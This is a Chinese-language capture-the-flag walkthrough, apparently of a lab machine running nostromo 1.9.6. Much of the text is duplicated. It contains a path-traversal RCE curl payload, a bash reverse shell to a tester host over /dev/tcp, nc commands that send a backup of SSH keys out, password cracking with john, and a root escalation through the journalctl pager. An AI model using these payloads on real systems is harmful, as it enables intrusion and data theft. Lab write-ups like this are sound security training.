nmap scan
 #### port explore
80:是一个templatemag搭建的网站
#### 目录搜索
#### port explore
80:是一个templatemag搭建的网站
#### 目录搜索
 nmap扫出来的80端口显示的是nostromo 1.9.6
searchsploit后发现确实存在一个rce漏洞针对nostromo
nmap扫出来的80端口显示的是nostromo 1.9.6
searchsploit后发现确实存在一个rce漏洞针对nostromo
 所以我们可以利用其中的payload
`curl -s -X POST 'http://10.10.10.165/.%0d./.%0d./.%0d./bin/sh' -d "id | nc 10.10.14.4 8888"`
所以我们可以利用其中的payload
`curl -s -X POST 'http://10.10.10.165/.%0d./.%0d./.%0d./bin/sh' -d "id | nc 10.10.14.4 8888"`
 在验证了可行性之后,我们将payload改为回弹shell的一个payload
`curl -s -X POST 'http://10.10.10.165/.%0d./.%0d./.%0d./bin/sh' -d '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.4/8888 0>&1"'`
在验证了可行性之后,我们将payload改为回弹shell的一个payload
`curl -s -X POST 'http://10.10.10.165/.%0d./.%0d./.%0d./bin/sh' -d '/bin/bash -c "/bin/bash -i >& /dev/tcp/10.10.14.4/8888 0>&1"'`
 用linenum.sh查看一下系统中是否有需要注意的
用linenum.sh查看一下系统中是否有需要注意的
 将该密码放入hashcat中跑一下
将该密码放入hashcat中跑一下
 密码是Nowonly4me
在/var/nostromo/conf下,存在一个配置文件
密码是Nowonly4me
在/var/nostromo/conf下,存在一个配置文件
 /homedirs /home指向了nostromo的home目录,在一个用户目录下, the webroot will be public_www。所以http://10.10.10.165/~david will be /home/david/public_www。
访问/~david目录,但该网站表示无权访问
/homedirs /home指向了nostromo的home目录,在一个用户目录下, the webroot will be public_www。所以http://10.10.10.165/~david will be /home/david/public_www。
访问/~david目录,但该网站表示无权访问
 尝试访问
`http://10.10.10.165/~david/.%0d./`
`http://10.10.10.165/~david/.%0D./.ssh/`
`http://10.10.10.165/~david/.%0D./user.txt`
`http://10.10.10.165/~david/index.html`
均无有用结果
在/home/david/public_www/protected-file-area中,我们可以发现一个备份文件
尝试访问
`http://10.10.10.165/~david/.%0d./`
`http://10.10.10.165/~david/.%0D./.ssh/`
`http://10.10.10.165/~david/.%0D./user.txt`
`http://10.10.10.165/~david/index.html`
均无有用结果
在/home/david/public_www/protected-file-area中,我们可以发现一个备份文件
 用nc将该tar文件传到本机进行分析
`cat backup-ssh-identity-files.tgz | nc 10.10.14.4 8888`
`nc -nlvp 8888 > backup-identity-files.tgz.b64`
解压后存在公钥和私钥
该公钥是加密过的形式,要用john破解需要先用ssh2john转化格式
`ssh2john id_rsa > id_rsa.john`
`john -w=/usr/share/wordlist/rockyou.txt id_rsa.john`
用nc将该tar文件传到本机进行分析
`cat backup-ssh-identity-files.tgz | nc 10.10.14.4 8888`
`nc -nlvp 8888 > backup-identity-files.tgz.b64`
解压后存在公钥和私钥
该公钥是加密过的形式,要用john破解需要先用ssh2john转化格式
`ssh2john id_rsa > id_rsa.john`
`john -w=/usr/share/wordlist/rockyou.txt id_rsa.john`
 得到连接密码hunter
用ssh连接david,密码不正确,该密码是phrase for key
得到连接密码hunter
用ssh连接david,密码不正确,该密码是phrase for key
 
root
sudo -l用不了,因为没有david的密码
在david目录下有一个bin文件夹,进入该文件夹后存在一个server-stats.sh
执行该脚本文件
查看该脚本文件,可以发现最后一行调用了sudo并且未输入密码,所以david一定在sudo列表里
最后一行用sudo调用了journalctl
如果journalctl能能把输出放到当前页,那它就会把输出输出到stdout
但是如果输出不下,则会以less形式展示出来,所以需要把控制台缩小到5行以下,让journalstl以less形式输出结果,用less输出的时候我的身份仍是root,然后在less里面调用!/bin/bash,获得root权限
